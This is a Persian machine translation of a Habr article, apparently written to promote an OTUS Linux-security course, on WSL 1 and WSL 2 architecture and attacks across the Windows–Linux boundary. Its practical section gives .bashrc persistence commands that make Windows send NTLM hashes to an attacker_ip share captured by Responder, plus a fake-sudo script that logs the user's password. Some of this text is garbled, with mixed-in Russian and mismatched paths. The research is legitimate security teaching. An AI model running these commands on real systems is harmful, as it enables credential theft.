آزمایشات WSL قسمت 1

سلام، هابر! OTUS یک جریان دوره جدید را در ماه اکتبر راه اندازی می کند "امنیت لینوکس". در پیش بینی شروع دوره، مقاله ای را که توسط یکی از معلمان خود به نام الکساندر کولسنیکوف نوشته شده است را با شما به اشتراک می گذاریم.

آزمایشات WSL قسمت 1

در سال 2016، مایکروسافت فناوری جدید WSL را به جامعه فناوری اطلاعات معرفی کرد.Wداخل Sزیر سیستم برای Linux)، که در آینده امکان متحد کردن رقبای آشتی ناپذیری را که قبلاً برای محبوبیت در بین کاربران عادی و پیشرفته سیستم عامل مبارزه می کردند، فراهم کرد: ویندوز و لینوکس. این فناوری امکان استفاده از ابزارهای سیستم عامل لینوکس را در محیط ویندوز بدون نیاز به اجرای لینوکس به عنوان مثال با استفاده از Multi-boot فراهم کرد. در Habr می توانید تعداد زیادی مقاله در مورد مزایای استفاده از WSL بیابید. با این حال، متأسفانه، در زمان ایجاد این مقاله، هیچ مطالعه ای در مورد امنیت چنین همزیستی از سیستم عامل ها در این منبع یافت نشد. این پست تلاشی برای اصلاح این موضوع خواهد بود. در این مقاله در مورد ویژگی های معماری WSL 1 و 2 صحبت خواهد شد و چندین نمونه از حملات به سیستم ها با استفاده از این فناوری ها بررسی می شود. مقاله به 2 قسمت تقسیم شده است. اولی روش های حمله نظری اصلی از لینوکس و ویندوز را ارائه می دهد. مقاله دوم شامل راه اندازی یک محیط آزمایشی و بازتولید حملات خواهد بود.

WSL 1: ویژگی های معماری

برای بررسی دقیق‌ترین مسائل امنیتی WSL، لازم است تفاوت‌های اصلی مرتبط با اجرای زیرسیستم مشخص شود. یکی از اصلی ترین وظایف کاربر که توسط WSL حل می شود، توانایی کار از طریق ترمینال لینوکس بر روی میزبانی است که سیستم عامل ویندوز دارد. همچنین، سازگاری ارائه شده به قدری بومی بود که فایل های اجرایی لینوکس (ELF) می توانستند مستقیماً روی یک سیستم ویندوز اجرا شوند. برای دستیابی به این اهداف، یک زیرسیستم خاص در ویندوز 10 ایجاد شد که به شما امکان می دهد برنامه های لینوکس را با استفاده از مجموعه ای از فراخوانی های سیستمی خاص اجرا کنید - بنابراین، تلاش شد مجموعه ای از سیستم های لینوکس در ویندوز نقشه برداری شود. این به صورت فیزیکی با افزودن درایورهای جدید و یک فرمت فرآیند جدید اجرا شد. از نظر بصری معماری به این صورت بود:

آزمایشات WSL قسمت 1

در واقع، تعامل با سیستم عامل لینوکس از طریق چندین ماژول هسته و نوع خاصی از فرآیند - pico سازماندهی شد. از نمودار بالا، می بینید که فرآیندی که در نمونه لینوکس روی هاست اجرا می شود باید بومی باشد و باید از همان منابع برنامه های معمولی ویندوز استفاده کند. اما چگونه می توان به این امر دست یافت؟ در پروژه کمربند مفاهیم فرآیندی برای ویندوز توسعه داده شد که تمام اجزای لازم سیستم عامل (بسته به نسخه آن) را برای اجرای برنامه یک سیستم عامل دیگر فراهم می کرد.

توجه داشته باشید که انتزاع پیشنهادی امکان تمرکز بر روی سیستم عامل (به ویژه ویندوز) را که انتظار می رود روند یک سیستم عامل دیگر در آن راه اندازی شود را فراهم نمی کند و یک رویکرد کلی را پیشنهاد می کند.

بنابراین، هر برنامه ای در داخل فرآیند pico می تواند بدون توجه به هسته ویندوز اجرا شود:

  1. مشکلات سازگاری و ترجمه تماس های سیستمی باید توسط ارائه دهندگان ویژه حل شود.
  2. کنترل دسترسی باید از طریق مانیتور امنیتی انجام شود. مانیتور در هسته قرار دارد و بنابراین ویندوز به ارتقاء در قالب یک درایور جدید نیاز داشت که بتواند به عنوان ارائه دهنده چنین فرآیندهایی عمل کند. پروسه نمونه اولیه pico به صورت شماتیک در زیر ارائه شده است:

آزمایشات WSL قسمت 1

از آنجایی که سیستم فایل لینوکس از نام فایل ها و دایرکتوری های حساس به حروف بزرگ و کوچک استفاده می کند، 2 نوع فایل سیستم برای کار با WSL - VolFS و DriveFS به ویندوز اضافه شد. VolFS یک پیاده سازی از سیستم فایل لینوکس است، DriveFS یک سیستم فایل است که طبق قوانین ویندوز کار می کند، اما توانایی انتخاب حساسیت به حروف کوچک و بزرگ را دارد.

WSL 2

WSL 1 دارای تعدادی محدودیت بود که امکان استفاده از آن را برای حل حداکثر دامنه وظایف نمی داد: به عنوان مثال، توانایی اجرای برنامه های لینوکس 32 بیتی را نداشت و استفاده از درایورهای دستگاه غیرممکن بود. بنابراین در سال 2020 WSL 2 منتشر شد که رویکرد ساخت زیرسیستم را تغییر داد. WSL 2 یک ماشین مجازی بهینه شده است که با ویژگی های مصرف منابع WSL 1 مطابقت دارد. حال بسته به مشکلاتی که کاربر سیستم عامل ویندوز حل می کند، می توانید نسخه مورد نیاز زیرسیستم لینوکس را انتخاب کنید. برای کاهش آسیب‌پذیری‌های احتمالی، WSL 2 بر اساس Hyper-V در ویندوز 10 پیاده‌سازی شد. در این فرم، ویندوز این قابلیت را دارد که هسته سیستم عامل لینوکس را به صورت مجزا اجرا کند. لازم به یادآوری است که نسخه 1 WSL به عنوان یک ویژگی بتا معرفی شد که قرار بود مسیر توسعه ویندوز را در این زمینه نشان دهد، بنابراین انتقال به Hyper-V اجتناب ناپذیر بود. معماری نهایی به این صورت است:

آزمایشات WSL قسمت 1

در این نسخه، هسته های ویندوز و لینوکس منابع خاص خود را دارند و تقاطع فقط در سیستم فایل وجود دارد، اما این تقاطع کامل نیست. تعامل بین سیستم های فایل از طریق یک بسته بندی سرویس گیرنده-سرور که با استفاده از پروتکل 9P کار می کند انجام می شود.

امروزه مایکروسافت امکان جابجایی بین WSL 1 و WSL 2 را فراهم می کند. هر دو نسخه برای استفاده در دسترس هستند.

امنیت WSL

در حال حاضر، چندین کار وجود دارد که برخی از رویکردها را برای استفاده از ابزارهای سیستم عامل قانونی برای حمله به ارتباطات بین زیرسیستم ها توصیف می کند. ما از اسکریپت های آنها برای بررسی ارتباط حملات در زمان نوشتن استفاده خواهیم کرد. لیست کلی حملات و سناریوها:

1. پیاده سازی سیستم فایل: حقوق دسترسی، در دسترس بودن دایرکتوری های مشترک/مکانیسم های تبادل داده.

تحقیق برای تعیین نقض قوانین دسترسی از انجام شد لینوکس FS->Windows FS، Windows FS->Linux FS. تحقیقات توانایی اصلاح یک فایل معین را در سیستم عامل هدف نشان داده است. همچنین تلاش هایی برای جایگزینی، ایجاد نسخه های تکراری و حذف بخشی از سیستم های فایل انجام شد.

سناریو:

  • A. حمله از سیستم عامل ویندوز - تغییر فایل ها از دایرکتوری /etc سیستم عامل لینوکس.
  • ب. حمله از سیستم عامل لینوکس - اصلاح فایل ها در دایرکتوری ها: C:Windows, C:Program Files, C:Users<User>

2. پیاده سازی پشته شبکه.

این تحقیق با استفاده از نمونه هایی از حملات سیستم عامل لینوکس به ویندوز انجام شد. از ویژگی‌های پشته شبکه، یعنی مکانیسم‌های احراز هویت در منابع مختلف استفاده شد.

سناریو:

  • باز کردن دسترسی به پورتی که در سیستم ویندوز اشغال شده است
  • باز کردن پورت بدون حقوق مناسب
  • اجرای پوسته معکوس با استفاده از فایل elf در سیستم عامل ویندوز.

3. پنهان کردن راه اندازی فرآیندهای نرم افزاری مخرب با استفاده از زیرسیستم WSL.

این تحقیق بر اساس یک واقعیت ساده استوار است - زیرسیستم‌های امنیتی نمی‌توانند رویدادها را در هسته دیگری که با استفاده از یک ارائه‌دهنده قانونی از سیستم عامل در مورد WSL 1 کار می‌کند، رهگیری کنند. در مورد WSL 2، هیچ راهی برای مشاهده رویدادهایی که رخ می‌دهند وجود ندارد. در یک هسته جداگانه در ماشین مجازی سبک وزن.

سناریو:

1) برنامه را برای دسترسی از راه دور به سیستم راه اندازی کنید و رویدادهای ثبت شده را مشاهده کنید.

آزمایشات WSL 1: رهگیری هش (ویندوز)

بالاخره به قسمت عملی رسیدیم. ابتدا باید محیط تست را تنظیم کنید. تمام آزمایشات روی یک نیمکت با نصب ویندوز 10 2004 انجام خواهد شد. تصویر اوبونتو 18.04 به عنوان تصویر سیستم عامل برای WSL انتخاب شد. تصویر به صورت تصادفی انتخاب شده است و هر تصویر دیگری به همین صورت عمل خواهد کرد. دستورات نصب استند:

ابتدا باید راه اندازی کنید powershell.exe به عنوان سرپرست

برای WSL 1 باید دستورات زیر را اجرا کنید:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • پس از راه اندازی مجدد پایه، می توانید دستور bash را فراخوانی کنید. اگر همه چیز به درستی کار کرد، خروجی مشابه این را در کنسول ویندوز خواهید دید:

    آزمایشات WSL قسمت 1

    ما از توزیع لینوکس کالی به عنوان ماشین مهاجم استفاده خواهیم کرد؛ همه ماشین‌ها باید در یک شبکه محلی باشند.

    بیایید فرض کنیم که دسترسی غیرمجاز به WSL در دستگاه ویندوز داریم. بیایید سعی کنیم با فراخوانی دستوری از لینوکس به سیستم عامل لینوکس حمله کنیم. برای اجرای حمله، از یک تکنیک ساده اتوران استفاده می کنیم - اسکریپت خود را برای اجرا در محیط لینوکس اضافه می کنیم. برای این کار باید فایل را تغییر دهید .bashrc.

    در ماشینی با WSL اجرا می کنیم:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    در یک ماشین لینوکس کالی اجرا می کنیم:

    1. Responder -I eth0 -rdvw

    در یک دستگاه ویندوز، اجازه دهید bash را راه اندازی کنیم.

    ما منتظر نتیجه در دستگاه Kali Linux هستیم:

    آزمایشات WSL قسمت 1

    بنابراین، ما هش های کاربر ویندوز را از طریق زیرسیستم WSL با اجرای دستور در سیستم لینوکس به دست آوردیم.

    آزمایشات WSL 1: بدست آوردن رمز عبور کاربر (سیستم عامل لینوکس)

    بیایید یک آزمایش دیگر انجام دهیم. در طی این بررسی ما به فایل اضافه می کنیم .bashrc چندین دستور برای به دست آوردن رمز عبور کاربر سیستم عامل لینوکس.

    بیایید bash را راه اندازی کنیم و دستورات را وارد کنیم:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    برای تکمیل موفقیت آمیز حمله، کاربر Sam باید sudo را در ترمینال لینوکس فراخوانی کند. پس از این، رمز عبور کاربر سیستم عامل لینوکس در فایل قرار خواهد گرفت pass.txt:

    آزمایشات WSL قسمت 1

    اجرای این حملات فقط برای اطلاعات تئوری ارائه شده است.

    قسمت بعدی مقاله پیاده سازی پروتکل 9P را شرح می دهد، ایجاد یک اسکنر برای این پروتکل را در نظر می گیرد و همچنین با استفاده از آن حمله انجام می دهد.

    فهرست ادبیات مورد استفاده

    آزمایشات WSL قسمت 1

    ادامه مطلب

    منبع: www.habr.com

    اضافه کردن نظر